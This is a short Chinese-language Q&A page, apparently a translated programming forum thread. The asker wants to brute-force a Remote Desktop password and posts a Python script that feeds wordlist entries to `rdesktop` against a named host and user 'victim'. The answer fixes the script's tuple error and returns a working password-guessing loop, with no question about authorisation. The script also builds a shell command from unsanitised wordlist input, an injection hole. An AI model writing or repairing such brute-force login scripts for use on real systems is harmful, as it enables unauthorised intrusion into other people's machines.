首页 > 解决方案 > 参数 1 必须是字符串,而不是元组

问题描述

我正在尝试用 python 破解远程桌面密码。我的脚本输出出现一个错误。

import os


host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"

password=open(passw,"r")


for passwords in password.readlines():
    print("Testing passwords: ",passwords)
    command = "rdesktop -u ", user , " -p " , passwords , host
    connect = os.system(command)

错误输出图像

标签: python

解决方案


您的命令变量正在生成一个元组。尝试这样重写:

import os


host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"

password=open(passw,"r")


for passwords in password.readlines():
    print("Testing passwords: ",passwords)
    command = "rdesktop -u " + user + " -p " + passwords + " " + host
    connect = os.system(command)

推荐阅读